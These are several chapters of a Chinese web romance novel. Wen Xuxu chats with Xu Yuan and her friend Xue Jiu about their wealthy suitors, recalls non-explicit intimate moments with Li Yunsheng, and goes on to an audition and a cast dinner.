薛酒正斜倚在沙发中央,脸上盖着一本最新金融资讯刊物,与他此刻的慵懒格格不入。 他整个人像被抽去骨头的猫,脊背软软塌着,双腿随意曲在沙发边缘,脚腕还搭着只懒散的拖鞋,整个人懒洋洋的。 许愿进门时担心吵到他所以声音很小,却仍被他灵敏的耳廓捕捉,刊物倏然被挪开,露出那张令温栩栩心脏“唰”地骤停的脸。 刊物资料被挪开露出那雌雄莫辨却又十分英气漂亮的一张脸来,他似乎还有点困,揉了把眼睛才看向门口,看到还有别人也并没有紧张,整个人呈现一种很松弛的状态,只是歪了下头看她。 他生得雌雄莫辨,却又极致英气,下颌线绷着男性特有的冷硬,可眼尾却晕着桃花瓣般的柔弧,唇形薄而润,似春日初绽的樱花。 温栩栩甚至觉得他如果戴上假发换上衣裙,便是艳光四射的精致美人,眼波流转间能绞碎一池春水。 此刻着男装松散倚坐,却又美得令人屏息,那是令人觉得矛盾与和谐共生的惊艳。如果说薛酒的面部轮廓是硬朗的立体雕塑,那脸上的部分线条却如被春风揉过的绸缎,每一寸转折都似在挑逗观者的视觉神经,令人一眼沦陷,再眼沉溺。 温栩栩内心“唰”的一下就被击中了。 男孩子怎么能好看成这样的? 薛酒这颜值是认真的吗? 他倒也没特意打扮,身上是一件纯草绿色的T恤,下身一条宽松的灰色长裤,一副都是比较宽松感觉的,看着就很舒服,很有男大风格。 如果不看那张脸……会觉得这就是个普普通通的男大学生…… 这样随便普通的穿搭本该泯然众人,可他那目测185cm的身高,长手长脚如竹节般舒展,瞬间将“普通男大学生”的幻象击碎。 温栩栩的视线胶在他身上,不看脸已是惊心动魄,再看脸就只会觉得怎么会有男孩子长成这样的? 薛酒挪开刊物后,困倦仍缠着他。 他指尖揉着眼睛,动作间竟透出幼兽般的憨态,歪头看向门口的刹那,下颌线绷出锋利的角,可唇角又无意识地勾着懒散的弧,像猫儿被挠痒时露出的惬意。 他整个人呈现一种极致的松弛,仿佛下一秒便会融进沙发绒毯,化作一团蓬松的云。 温栩栩忽然觉出他像极了被驯养得极好的大猫,皮毛光华如缎,姿态傲慢,可眼底却淌着温热的怠惰,连警惕都懒得全开。 总统套房的光影在此刻都好像完全成了他的衬布。 室内暖灯将他轮廓镀上一层琥珀色,硬朗的五官被柔光揉得愈发朦胧,仿佛水墨画里一笔晕开的绝色。 他松散坐着,却有种无形的引力。 许愿已熟稔这场景,径自走向吧台煮咖啡,却仍忍不住瞥向薛酒,他这副模样,像极了他们初识时,虽然那个时候是个流浪的小崽子,但却总给人一种高贵波斯猫的感觉,骄矜、慵懒,却又惊人的貌美。 薛酒并未因有外人在场而绷紧姿态,反而更恣意地舒展了身体。 他曲起一条长腿,手肘支膝,指尖无意识地在腿上轻轻敲打,像猫儿给自己顺毛。 他似乎完全不介意许愿带其他人回了房间,又好像还没有彻底清醒过来,还懵懵的。 他像是晨雾中未醒的猫,眉睫上还沾着惺忪的倦意,揉眼睛时指尖无意识地在眼角摩挲。 “他……” 温栩栩支吾了下,却没说出后面的话了。 许愿已熟稔他这副模样,轻笑出声:“你别紧张,小酒这张脸确实迷惑性很强,你跟他熟了就好了,他这会儿高冷不说话,其实脑仁还在梦里打转呢。” 温栩栩闻言又偷觑薛酒。 那人正慢条斯理地抬手敲了敲自己结实的肩膀,动作像极了猫儿伸懒腰时抻筋骨的姿态。 他抬头时,目光扫过温栩栩,只轻飘飘掠了一眼便移开,仿佛她不过是无关紧要的人, 他晃到许愿身旁时,顺手捞起茶几上许愿带来的点心匣子,拈了块杏仁酥塞进嘴里,腮帮鼓动如仓鼠储粮,姿态熟稔得仿佛这是他家厨房。 第1047章 反正盛景炎不是好东西! “阿愿我想喝你泡的咖啡。”他嗓音还带着未褪的哑,尾调拖得慵懒,像猫爪在绸缎上划过。 许愿应了声,本来也在给他泡咖啡了,薛酒早上醒过来后总是会习惯性的喝一杯咖啡。 黑檀木吧台泛着温润的光,质咖啡机正咕嘟咕嘟吐着白雾,研磨器旁散落着几粒深褐的豆,许愿指尖抚过豆罐,挑了一罐埃塞俄比亚的瑰夏豆,开罐时醇厚的果香混着茉莉香倏然漫开,连空气都醉了三分。 她启罐的动作极优雅,五指纤长如琴师拨弦,将豆倒入研磨器时,齿轮轧动的轻响竟成了某种韵律。 薛酒倚在吧台边,垂眸瞧她操作,唇角勾着懒散的弧,像看戏的公子哥。 待许愿冲泡时,热水注进滤纸的刹那,琥珀色的液体蜿蜒而下,他忽然凑近嗅了嗅,喉间溢出满足的哼声,活脱脱一只闻到了鲜鱼的馋猫。 许愿被他这举动逗得挑眉,指尖轻弹他额头:“离远点的,先去洗漱。” 薛酒乖乖的去洗漱了。 等他回来就要懒洋洋的要咖啡了。 薛酒拿点心时的理所当然,许愿对他小动作的纵容,还有那不经意交汇的眼神,许愿瞥他的那一眼里藏着纵容的无奈,仿佛一对早已熟稔彼此脾性的老友。 她忍不住脱口:“你们……是情侣?” 实在很难不去多想啊,这两人真的很有默契,而且都长了那么一张令人觉得惊艳的面容,不谈的话真的……有点可惜。 看到这两个人温栩栩真的很想脑补如果这两人结婚未来的孩子颜值会有多高了,不管是男孩子还是女孩子,那都绝对是完美开局、 “情侣?”薛酒听到这话竟绽出笑,眼尾弯成月牙,连周身那懒洋洋的气场都亮了几分,仿佛被戳中了隐秘的趣点。 可许愿斜他一眼,那笑便如烛火遇风,倏地熄了。 他耸耸肩,嗓音恢复正经:“没,不是,阿愿是我姐姐,我们就是从小的交情很熟了,你当我们是姐弟就好。” 姐弟啊,那也正常,毕竟都很好看。 温栩栩用零秒时间就接受了这两人是姐弟。 许愿端着咖啡走来时,他倏地直起身,动作快得像猫扑猎物的抢走了咖啡。 许愿泡的咖啡总带着她的风格,浓而不苦,醇香里藏着清冽。 薛酒喝一口便眯了眼,他忽然伸手拽了拽温栩栩的衣角,动作像幼童撒娇:“你也来一杯?阿愿的手艺,错过血亏。” 话音才落,许愿已经给温栩栩也递过去一杯咖啡,显然是也算上了温栩栩的。 许愿的咖啡泡的确实好,温栩栩没喝过好咖啡,平日里也就是喝点速溶咖啡,像这种现冲泡的入口就能感觉到差距。 她喝着也露出了方才跟薛酒几乎一致的同款表情了。 薛酒有点得意:“我就说阿愿得咖啡很好喝吧。” 喝了咖啡薛酒终于缓过来了,他终于正色问道:“阿愿,盛景炎没有欺负你吧。” 许愿轻轻挑了下眉,目光落到薛酒正在吃的点心上,沉吟片刻还是提醒道:“欺负倒是没有欺负,不过你……很讨厌盛景炎?” “那当然讨厌了,他晚上看你的眼神就是那种侵略性很强的眼神,如果不是我和陆哥都在,我都担心盛景炎直接拉着你去结婚领证了,就是有这种感觉。” 薛酒想到这里心里就有些不爽。 “晚上没办法领证的小酒。”许愿无奈。 “我就是打个比方嘛,就是给我这种感觉啊,这是一种感觉。” 行,一种感觉,那许愿懂了。 “你这么讨厌他的话……你知道你现在吃的这些点心也是盛景炎买的吗?”许愿弯弯眼睛笑着看他,像是故意提到这一茬的。 薛酒这下吃也不是不吃也不是了,不过也就纠结了几秒钟,反正吃都吃了,吃一口也是吃吃两口也是吃,继续。 许愿被他这反应逗笑了。 “你也不用因为盛景炎这么大惊小怪,他只是约我看了点东西,并没有冒犯我,他人还不错。” 起初许愿对盛景炎是有防备的,但真的接触后就知道这人骨子里是很绅士的,做不出很冒犯的举动,他甚至带她到试镜现场都会问有没有喜欢的座位,点心是不是喜欢的口味,就连牛奶是冷的热的都会询问一下。 可以说非常温和有礼。 薛酒内心警铃大作,这种反应,总不该是真的认为盛景炎很不错吧。 薛酒满心只觉得危险,太危险了,阿愿不会真的要喜欢盛景炎跟这男人跑了吧! 也不是说许愿不能恋爱,只是觉得盛景炎不靠谱,薛酒是真觉得许愿换个人的话他肯定举双手赞成的。 “我觉得盛景炎不行,你离他远点吧阿愿。”薛酒甚至看向温栩栩,想让温栩栩跟着附和自己几句。 “你说是吧,盛景炎不行。”他问温栩栩。 温栩栩点头又摇头:“像只狐狸,但肯定比黎云笙要好!” 她语气特别坚定。 薛酒赶紧开口:“对,狐狸不好,男狐狸最会蛊惑人心了!” 温栩栩附和:“对!韩越!黎云笙还有盛景炎全都是狐狸!” 又一次听到温栩栩提起黎云笙,薛酒默默的转头目光落到温栩栩身上,思索了片刻缓缓开口:“你……你跟黎云笙之间有点不对劲啊……” 实在不怪薛酒好奇,因为温栩栩确实是一直在提黎云笙。 没点暧昧不可能,这就是独属于薛酒的只觉。 薛酒意味深长的看向温栩栩,此刻脸上带了点八卦的笑意。 温栩栩没觉得冒犯,因为……大概因为他好看,女人嘛,谁不爱点美色,还是薛酒这种。 许愿见薛酒注意力被转移了才饮了口咖啡道:“她被黎云笙骚扰了。” 薛酒震惊:“我就说盛景炎不是什么好东西!” “?”许愿无语,“这跟盛景炎又有什么关系?” “因为黎云笙骚扰温栩栩,那盛景炎就能骚扰你,人以群分物以类聚,男狐狸跟男狐狸玩儿,这两个人肯定是一类人!”薛酒说的义正言辞。 许愿:“……” 该说不说,好像也是有那么点道理的。 温栩栩将杯中的咖啡全都喝净了才开口为韩城伸冤:“那什么……韩城不是男狐狸。” 薛酒无比惊讶:“你为什么觉得我们会带上韩城?他跟狐狸沾边吗?真沾边也是藏狐吧!” “?”温栩栩觉得韩城被侮辱了。 四方脸在狐狸里面颜值最低呆呆的那个藏狐吗? 为什么啊? 温栩栩虚心求教。 薛酒好心为她解释:“因为藏狐看着有点呆呆地傻傻的没有脑子的样子,就很适合韩城啊,硬要说他是狐狸那就只能是这种品种了。” 温栩栩:“……” 藏狐别听…… 韩城也别听…… 是恶评! 第1048章 钱在哪里爱就在那里 从讨论盛景炎到讨论黎云笙最后转变成韩城市呆呆傻傻的藏狐,真的是始料未及。 温栩栩到最后都有点懵懵的,险些忘记他们此刻应该讨论谁了。 而且藏狐和韩城…… 韩城长的是很好看的啊! 见温栩栩没回他,薛酒悄咪咪开口:“我一度怀疑,如果韩城不是韩家二少爷,很有可能会被人骗去下海,就那种挂牌五位数起步的。” 温栩栩:“……那很贵了……” 薛酒得意:“也还好。” 温栩栩:“?” 五位数还不贵? 许愿此刻唇角跟着抽了抽开口解释:“之前国外有人花八位数想包养小酒,小酒非常得意的拒绝了并请了对方一杯酒,他觉得这是对方对他颜值的绝对肯定。” 温栩栩:“……” 那她就真的不是很懂薛酒了啊! 这到底有什么好得意的啊!难道因为韩城下海五位数你下海八位数……哦,那确实应该得意,这也差太多了! 薛酒品着咖啡眯起眼睛:“黎云笙和盛景炎这些人就算真的挂牌下海也就五位数六位数,肯定比不过我的八位数。” 温栩栩实在是不明白这人为什么会因为这种事这么骄傲得意的,好离谱的程度。 许愿是习惯了,知道自己接话薛酒会更得意,索性没开口,温栩栩呢是不知道说什么好。 “你们也不用难过,我们三个那都是八位数。” 薛酒非常宽心的安危。 许愿:“……” 温栩栩一口咖啡差点喷出来。 她真的并没有在意这件事好吗! 温栩栩颇为无语,不过下一秒就低头开始掰手指数了下,然后抬起头看向薛酒,她现在比薛酒还得意。 “我是九位数起步!” 许愿:“?”许愿有点不了解这到底是个什么走向,到底为什么会一直提起自己被人包养是多少位数起步的? 而且韩城知道你们用五位数就把他贱卖了吗? 薛酒可不知道许愿心里想什么,他此刻怎么看怎么不服气的要跟温栩栩对峙。 凭什么他就八位数温栩栩就九位数啊,谁啊,谁给温栩栩花九位数了?不行,他不能输。 奇怪的胜负欲起来了,薛酒忍不住问温栩栩是谁肯花九位数。 许愿默默地开口:“这还猜不出来?你还问?” 薛酒立刻扭头看许愿,许愿挑眉:“她今天一直再提的不是黎云笙吗?《灵媒》又是黎氏出品投资且请了秦扬帆导演的大项目,现在在业内评级属于S级别的项目,你说会是谁肯给她花费九位数?这不是已经花出去了?” 薛酒:“……” 薛酒去看温栩栩,温栩栩低头喝咖啡。 薛酒灵活的探头看过去,凑得很近,温栩栩被他这样近距离的美颜暴击,虽然对薛酒没什么其它心思,但这人是真的好看啊,任谁看到这样相貌的异性都会很难不被美一大跳。 “你先离我远点的,你能不能对自己的颜值有点清晰的认知啊。” 温栩栩利索的把人推开。 薛酒哼了一声,像是自己被嫌弃了,有点不服气。 “你已经跟黎云笙……在一起啦?” 没有好吗! 温栩栩震惊:“绝对没有在一起!” 薛酒酸呼呼的开口:“没在一起就肯给你花九位数。”他扭头就开始冲许愿说:“阿愿,你看到没有,黎云笙那个冷冰块都还没追到温栩栩就肯花九位数了!盛景炎对你有意思怎么能这么抠门只送点心的!” “钱在哪里爱就在那里!” “他就是抠门小气肤浅只图你的身子!你离他远一点啊!” 薛酒在这里吱哇乱叫,这种时候了都不忘记给盛景炎泼脏水。 许愿:“……” 许愿摸摸鼻子,表情有点古怪,薛酒是这时候才发现许愿脖子上戴了一串红宝石项链,还是很眼熟的一串项链。 许愿的脖颈间流淌着一抹炽烈的红,项链中央坠着一颗硕大的鸽血红宝石,色泽如凝固的玫瑰花瓣,红得深邃浓烈,仿佛汲取了天际最后一缕霞光的精华。 宝石被精湛的工匠切割成水滴形,每一处棱角都折射出璀璨火光,宛若星辰坠入凡尘,又似一朵永不凋零的烈焰之花。 宝石周围密镶着细小的碎钻,如银河倾泻,将红宝石簇拥成宇宙的核心,每一颗钻石都经过精密计算的角度,使得光芒交织时泛起粼粼波光。 铂金链身纤细如月晕,蜿蜒缠绕着许愿雪白的肌肤,链条上每隔数寸便点缀着镂空的蔷薇花纹,花瓣边缘滚着金边,与红宝石的炽红相映成辉,既显华贵又不失柔美。 项链的扣环设计更见匠心,仿若一对交颈的天鹅,羽翼以微雕工艺勾勒出羽毛的层次,天鹅双眼由两颗米粒大小的粉钻点睛,俏皮中透出庄严。 当许愿微微低头时,红宝石便顺着锁骨滑落,在肌肤上投下一片流动的阴影,仿佛有岩浆在冰原上流淌,冷与热的极致碰撞,迸发出令人屏息的魅力。 灯光下,项链仿佛拥有了生命。 红宝石的核心时而泛起一抹血色的流光,像是被封印的精灵起舞,碎钻则如星屑闪烁。 许愿的手指不经意间抚过项链,红宝石的温度透过肌肤渗入血脉,她有些不自然的抚弄脖颈上的红宝石项链。 薛酒跟许愿可太熟了,许愿一皱眉他就知道许愿是想表达什么了。 眼看着许愿在抚摸脖子上的项链,薛酒的注意力才终于放到她脖子上那条红宝石项链上面。 真不怪薛酒现在才看到,实在是许愿的相貌太漂亮,会让薛酒忽略她脖子上的项链。 “你这项链……”薛酒认出来了。 这项链是上周在M国拍卖会上的拍品,当时拍出了八亿三千万人民币,而现在,那串珠宝项链就戴在许愿的脖子上。 他实在不认为阿愿会戴赝品……而现在,他们似乎还没有那么多金钱去拍这样的高奢珠宝。 所以……谁送的? 许愿开口回答:“是盛景炎送的。” “我不想收的,但今天跟他打赌赌输了,他作为赢家给我提出的要求是要我收下这条项链作为礼物。” 第1049章 心跳这么快,是在怕我么? 愿赌服输,她是肯定要回礼的,只是暂时还回不起这么贵的同等礼物,只能等以后再回这个价位的,暂时先回个其它奢侈品当礼物了。 薛酒觉得自己都开始头痛了:“到底是什么了不得的赌约啊。” 阿愿怎么能输呢!那他不服! “就是……他把车子停在路边,我们打赌看到的第一只野猫是什么花色的,我猜的是狸花猫,花色的,他猜的是黑白色的奶牛猫……最后是黎云笙赢了。” 这赌约也确实离谱,属于是许愿提起自己都觉得离谱的程度。 “哪条街?”薛酒问。 许愿提到了那条街的名字,薛酒赶紧开口:“这个男人太心机了,那边几乎都是黑白花色的奶牛猫!遇到奶牛猫的概率非常大!高达百分之八十!他就是故意的!” 薛酒很想说他太坏了,可……坏到白送别人一条八亿的项链? 薛酒此刻不想吱声了,好半天才委屈道:“三个人里面就只有我最便宜。” 温栩栩好心安慰:“没事,韩二少最便宜。”她说的韩城。 “谁要和藏狐比啊!”薛酒更郁闷了。 温栩栩捂脸,行吧,藏狐的帽子真就扣韩城头上了吗,这也太惨了点。 许愿看他这样郁闷忍不住笑出声,薛酒眼神一下子更哀怨了,许愿轻咳一声闷笑道:“你不便宜,你忘记那位女士当时还想涨价的,是你没给对方机会,如果你继续听下去,说不定对方会出九位数,十位数,甚至更多呢。” 薛酒本来还幽怨呢,听到这话顿时不慌了,又开始嘚瑟起来。 见薛酒恢复精神了,许愿的目光才重新落到温栩栩脸上,“栩栩,你和黎云笙之间……需要我的帮助吗?”她问得小心翼翼,尾音微微上扬,带着试探的意味,仿佛生怕自己贸然介入会惊碎什么脆弱的平衡。 作为旁观者她还是需要问的清楚一些,以免自己好心办了坏事。 温栩栩的脸颊瞬间染上绯色,她下意识攥紧了裙摆,喉间哽着一句“不必”,却迟迟未出口。 许愿就问了这么一句,温栩栩脑内闪过了很多画面,全都是黎云笙跟她亲热的画面。 明明没有到最后一步,但就是会让她觉得身体都好像烧起来了。 那些与黎云笙暧昧交缠的画面如潮水般涌来,将她淹没在一片滚烫的涟漪之中。 她还记得跟黎云笙一起时候发生的那些事,书房里的台灯将光线调至最暗,昏黄的光晕在黎云笙的侧脸上投下斑驳阴影。 他斜倚在沙发深处,指节分明的手松松扣着她的腰,力度不似拥抱,却像某种危险的禁锢。 温栩栩记得自己那时被他突然拽入怀中时,呼吸几乎停滞。 他的体温透过薄薄的衬衫渗进来,熨烫着她后背的每一寸肌肤。 “你总在躲我。”他嗓音低哑,带着酒气氤氲后的慵懒。 温栩栩的耳廓被他吐息拂得发痒,她试图挣开,腰间的桎梏却愈发收紧。 黎云笙的拇指不知何时抚上了她的下颌,指腹碾过她唇角的弧度,动作轻柔撩拨。 她的心跳骤然加快,如受惊的小鹿在胸腔乱撞,只记得那时连空气都变得黏稠起来。 记忆中的画面愈发清晰,他的吻落得极缓,先是唇瓣相贴的试探,而后舌尖撬开她微颤的齿关。温栩栩都能记得自己尝到了他口中淡淡的薄荷味,混合着某种独属于他的木质气息,霸道而缠绵。 她被他压得向后仰去,脊背抵进沙发凹陷处,布料摩擦的窸窣声在寂静中格外清晰。 黎云笙的手从她腰侧游移而上,掌心覆上她胸口时,温栩栩浑身绷紧,仿佛被电流击中。他却在此时骤然停住,指尖在她心口的位置画着圈,低笑一声:“心跳这么快,是在怕我么?” 温栩栩的思绪被那声轻笑拽回现实。 此刻,许愿正担忧地望着她,手中捧着一杯半凉的柠檬水。 她慌忙接过,冰凉的杯壁贴在手心,这才勉强压下那股燎原的燥热。 脸颊的红晕仍未褪去,她垂眸避开许愿的目光,声如蚊蝇:“其实……他有时确实让人捉摸不透。” 许愿的指尖抚上她发烫的腕脉,眉间褶皱更深。 “捉摸不透?”她重复着这个词,眼底掠过一丝锐芒,“如果他欺负你,我一定不会袖手旁观。”其实许愿自己都不清楚自己为什么这样想帮温栩栩,感觉只是看一眼就很想亲近她。 “不,不是的!”温栩栩脱口打断,声音惊得自己一颤。 她深吸一口气,试图将纷乱的思绪捋顺:“黎云笙……他没有真正伤过我,他对我还挺好的,真的。” “今天我就是故意气他,就是……就是感觉他生气的样子特别好玩儿……”她说着说着,声音又低了下去,她觉得自己这样有点过分。 当时还躲在许愿身后故意给黎云笙做鬼脸呢。 许愿凝视着她睫羽颤动时的惶惑,忽然轻笑出声。 她将温栩栩的发丝别至耳后,动作里带着姐姐般的宠溺:“他真的没有欺负你吗?”尾音染上戏谑,温栩栩的脸颊愈发滚烫,几乎要滴出血来。 她想起方才回忆中更私密的一瞬,黎云笙的吻顺着颈侧滑落,齿尖轻咬她锁骨凹陷时,她喉间溢出的那声呜咽,被他尽数吞入唇齿之间。他的手在她腰脊游走,掌心温度仿佛能透过自己身上薄薄衣料,她几乎要溺毙在他制造的暧昧中。 “真的没有……”她嗫嚅着,耳尖红得透亮。 许愿却已敛起玩笑神色,正色道:“栩栩,我不追问细节。但如果他真的欺负你,你可以告诉我,虽然我现在还没有多少能力跟他直接抗衡,但我可以带你暂时离开国内。” 温栩栩望着她眼底的郑重,心头暖流漫过。 她其实不觉得自己跟许愿有多熟,甚至可以说这是第一次见面,但许愿就是对她很好,温栩栩看着她也会有一种欢喜的感觉涌上心头。 她也担心许愿因为这件事一直记挂着,沉吟片刻还是开口把自己心里的小九九都说了。 第1050章 这就玩上男人了? “其实我跟黎云笙之间的事情有点复杂……” 薛酒开始专心吃点心零食听八卦,非常有礼貌的没有插嘴。 温栩栩开始讲自己跟黎云笙之间复杂的关系。 “我没有肖想过嫁给黎云笙的,我只是有点……嗯,想要利用他吧。” “毕竟他是黎氏的少爷,很轻松的就能给我资源啊,星黛儿走秀的资源是他给我的,几句话就能为我组建好《灵媒》团队,甚至试镜的权利也交给我大半,给了我绝对的话语权。” “我也知道我们的身份摆在这里,我只是想靠着他拿点资源,而且我也没觉得我自己实在出卖身体……因为黎云笙特别特别好哄的。” 许愿:“?”怎么觉得这对黎云笙来说不是什么好话呢? 到底有多好哄? 许愿心里实在好奇。 “我现在都不用跟他更进一步他就这样给我资源了……我都感觉我能把他玩弄股掌之间了,而且我真的当自己在玩男人了,他长成那样我一点都不吃亏的哎。” “我们两个之间,好像都挺渣的,也就是互相渣一渣玩一玩,欺负什么的更多是情趣吧……好吧,我其实就是单纯的很吃黎云笙这一款……我是渣女我承认……” 薛酒正吃着点心被这话噎住了,不停的咳嗽,看着温栩栩的眼神都是看勇者的眼神。 不是? 怎么就这么厉害呢? 这就玩上男人了?玩的还是黎云笙? 可以,厉害,他都要膜拜了。 听明白温栩栩要表达的意思后许愿完全不担心了,甚至还觉得黎云笙有点可怜,不过这俩确实是一个愿打一个愿挨……怎么说呢?还挺般配。 薛酒听到这里,清了清嗓子出馊主意:“阿愿,要不你也玩一玩盛景炎,别当真,我们游戏人间渣渣他呢?这样他就不能渣你了,这叫先下手为强。” 许愿:“……” 盛景炎到底是怎么得罪你了?上辈子挖你祖坟了吗! …… 温栩栩在许愿的房间休息了一段时间,等到下午试镜的时间到了,温栩栩跟许愿一起去了现场。 现在那些来参加试镜的演员都知道温栩栩的身份多少有点不一般了,所以看到她后对她笑的都很温柔讨好。 温栩栩对这些人都是彬彬有礼的,直到看到跟盛景炎站在一起的黎云笙,温栩栩条件反射的躲到许愿身后。 许愿:“……你不是说是你玩男人吗?” 温栩栩小声嘀咕:“但你不知道,他很变态的,特别会玩……” 许愿没玩过,完全不懂。 温栩栩伸出自己的两只手,做出手被拷在一起的动作,然后提醒:“玩的很变态的。” 许愿:“……” 这么说她就懂了。 “我感觉盛景炎能跟黎云笙玩到一起去估计也是变态。”温栩栩说小话蛐蛐盛景炎。, 盛景炎是真冤枉,都还没真做什么呢,只是追求阶段就已经被温栩栩背后穿小鞋了。 温栩栩没别的意思,就是单纯觉得这人蔫坏儿所以打击报复呢。 “他长了一张特别会玩的脸,比黎云笙会玩好多,如果黎云笙只喜欢手铐,那盛景炎就是喜欢各种Py,都是变态。” 许愿一言难尽的看她:“你都哪里看到这些东西的?” 温栩栩露出之前薛酒的那款得意表情:“书上哦。” 怪不得温栩栩和薛酒能玩到一起去呢,两人实在是有点跳脱过头了。 温栩栩在这边小声蛐蛐,黎云笙远远就看到两人了,盛景炎摸了摸下巴,笑眯眯的问:“你觉得温栩栩是在说我的坏话还是你的坏话?” 黎云笙面无表情:“在说我们两个人。” 盛景炎啧了一声:“有道理,你能不能管管你的人,我都刚开始追,别在那里说小话啊,我这印象分要一直不停的往下掉了。” 他看着还真有点担心。 黎云笙嗤笑:“之前让你管管许愿,你管了?” 盛景炎继续笑眯眯。 黎云笙远远看了眼跟在许愿身边的温栩栩,只觉得有些刺眼,温栩栩实在是有点太黏许愿了,此刻抱着许愿的手臂摇晃撒娇……都还没对他撒娇,现在却先对许愿撒娇了。 他眯眼,“你确定许愿是直女只喜欢异性吗。” 盛景炎唇角抽了抽:“我觉得现在这种情况你更应该怀疑温栩栩是不是直女了。”他觉得许愿有点无辜,一直撒娇笑眯眯的人可是温栩栩。 黎云笙看他一眼,满脸嫌弃:“好了你闭嘴吧,开口的话没有一句是我爱听的。” 盛景炎:“……”狗脾气。 午后的试镜大厅人潮涌动,黎云笙目光穿过喧嚣的人群,精准地落向角落里的温栩栩身上。 温栩栩正低头与许愿低声交谈,碎发垂落在她雪白的颈侧,像一捧月光倾泻在瓷器上。 她忽然毫无征兆地抬头,仿佛在此刻捕捉到了那道灼热的凝视。 两人的目光在空气中相撞,黎云笙的瞳孔微微收缩,漆黑的眸底泛起一丝涟漪。 他的视线并不似往常那般冷冽,而是裹挟着某种压抑的炽热,像是深潭表面结着一层薄冰,底下却沸腾着未名的暗流。 温栩栩的呼吸一滞,脸颊蓦地浮起一抹薄红,连耳尖都染上了胭脂色。 她又开始想起昨夜他扣在她腰间的手掌温度,想起他唇齿间的味道,此刻竟在众目睽睽之下,被这道目光烫得浑身发颤。 “没出息。” 她暗骂自己,指尖无意识地攥紧了手中的剧本。 可那目光却像一张无形的网,将她牢牢缚住。 黎云笙的唇角几不可察地勾起一抹弧度,似嘲弄,似纵容,又似某种隐秘的愉悦。 温栩栩被他看得愈发局促,正欲移开目光,却又鬼使神差地抬眼望去。 黎云笙的喉结滚动了一下,此刻胸腔里翻涌的情绪却让他近乎失控。温栩栩的躲闪让他焦躁,她的羞怯却又让他莫名心软。 他自嘲地哼笑一声,那笑声低得只有自己听得见,像是猎豹在捕获猎物前压抑的喘息。 他压下内心的情绪,收回目光,转身踏入会议室,门扉闭合的刹那,温栩栩抚了抚发烫的脸颊,耳畔回响着黎云笙离去时皮鞋敲击地面的节奏,一下下,都似踏在她心尖上。 第1051章 小家子气 温栩栩又开始在台上跟人对戏试戏,人们总是会控制不住的将目光落到她身上,然后再也移不开,就像是她专有的独特的人格魅力。 这样的人如果上镜拍戏的话肯定会更令人惊艳,或者说她的相貌更适合大荧幕。 试镜舞台的灯光骤然亮起,温栩栩踩着高跟鞋款款上台,脊背挺得如天鹅般优雅,裙摆随着步伐泛起涟漪。 当她开口的瞬间,整个大厅仿佛被施了魔法,嘈杂声倏然消散,所有人的目光都不由自主地黏在她身上,再难移开分毫。 她饰演的灵媒唐颖需展现从冷漠到人性觉醒的转变。 初时,她垂眸低语,声线如冰棱般清冷,指尖掐诀的动作带着道家玄术的肃穆。 可当剧情推进至目睹凡人因爱殉情的悲怆场景时,她的瞳孔骤然泛起一层水雾,睫毛轻颤间,一滴泪珠悬在眼角,似坠非坠。观众的心被她这细微的颤栗揪住,仿佛能听见灵魂被撕裂的嘶鸣。 她转身时,发丝在空中划出弧线,一缕月光恰好斜照在她侧脸,将下颌的轮廓镀上一层柔光,清冷却又柔美,让人看一眼便移不开目光。 “就是这种感觉!灵媒的疏离与人类的温度在她眼底交融,太妙了!”秦导从座椅弹起,手中的剧本被攥得发皱。 评委席交头接耳的议论声此起彼伏,有人惊叹于她哭戏的层次感,有人痴迷于她举手投足的古典韵味。 就连向来苛刻的副导演都喃喃自语:“这姑娘的相貌,天生为大荧幕而生啊……” 台下角落,黎云笙的脊背早已绷直。 他长指无意识地摩挲着座椅扶手,目光如鹰隼般锁住台上那人。 温栩栩的每一句台词都似一根羽毛,搔在他心尖最痒的位置。 黎云笙在台下坐着,目光却一直落在台上,未曾移开目光。 他此刻就只想看着温栩栩,好像对其他的任何事都没了兴趣。 当她因剧情需要扬起脖颈时,锁骨处的肌肤泛着珍珠般的光泽,黎云笙喉结微动,竟觉喉间发紧。 她的存在仿佛一团流动的火焰,既清冷又炽烈,让他既想将她囚禁在掌心,又怕她被世人窥见这惊心动魄的美丽。 许愿坐在黎云笙身后,将他的反应尽收眼底。 男人的目光中没有半分轻蔑或玩味,反而透着近乎虔诚的专注。 当他因温栩栩的某个动作而屏息时,许愿甚至看见他下颌绷起的线条,那模样,像极了薛酒全神贯注破解难题时的神态。 许愿暗自摇头,心道盛景炎那浪荡公子哥的做派倒更像二世祖,黎云笙这眼底燃着暗火的认真劲儿,分明是个被情意缠身的困兽。 许愿心知自己跟温栩栩其实还没有熟到能为她做什么决定的份儿上,而且温栩栩自己也说了,只是玩玩儿,既然如此她就不担心了。 总归只要不动心那就没什么的。 试戏结束的铃声响起时,温栩栩已敏锐地捕捉到黎云笙的身影。 她狡黠一笑,迅速将剧本塞进助理怀里,转身溜进后台通道。 这次她学乖了,特意绕了三圈弯路,还从道具间偷了顶鸭舌帽扣在头上。 当黎云笙带着助理冲进后台时,只听见高跟鞋敲击地面的清脆声响渐行渐远,转角处飘来一缕茉莉香,那是温栩栩惯用的香水味。 也不知道是跟那只兔子学了点逃跑的技巧。 黎云笙望着空荡荡的走廊,唇角勾起无奈的笑。 温栩栩总爱跟他玩这种“猫鼠游戏”,可每次看她仓皇逃窜的背影,他心底却涌起一股难以名状的情绪,不是生气,是一种很复杂的情感。 温栩栩逃到停车场时已笑得直不起腰。 她倚在车门上,望着掌心被攥出的汗渍,成就感溢满胸腔。 黎云笙那厮总爱用深沉目光压人,可她偏不让他得逞! 今晚这顿“躲猫猫”的胜利,足够她得意好几天了。 她哼着不成调的小曲儿解锁车门。 这次聚餐是秦扬帆导演请客地址就在附近的星级饭店。 温栩栩提前去了饭店,这次男主已经定了成维,所以成维自己也被邀请聚餐。 包厢内檀木雕花屏风投下朦胧光影,水晶吊灯将暗金色餐盘映得流光溢彩。 温栩栩推门而入时,成维正斜倚在沙发扶手上,指尖捻着红酒杯柄,与秦扬帆谈笑风生。 他听见门响,嘴角的笑骤然凝固,下颌微抬,目光如淬了冰的匕首刺向温栩栩。 那眼神里分明写着“晦气”,仿佛她踏入的是他私人领地,连空气都因她的存在染了尘埃脏污不堪。好像跟她同一个包厢对他来说是一种侮辱一般。 温栩栩的脊背瞬间绷直,她敏锐地捕捉到这丝恶意。 服务生为她拉开座椅时,她裙摆轻扫地面,姿态优雅如鹤,却在落座刹那将视线钉在成维脸上。 成维的冷笑更甚,喉间溢出一声轻嗤,仿佛在看一只不自量力的蝼蚁。 “成老师似乎对我有意见?”温栩栩面带微笑,跟成维的冷眼形成鲜明对比。 这样一来,倒显得成维小家子气了。 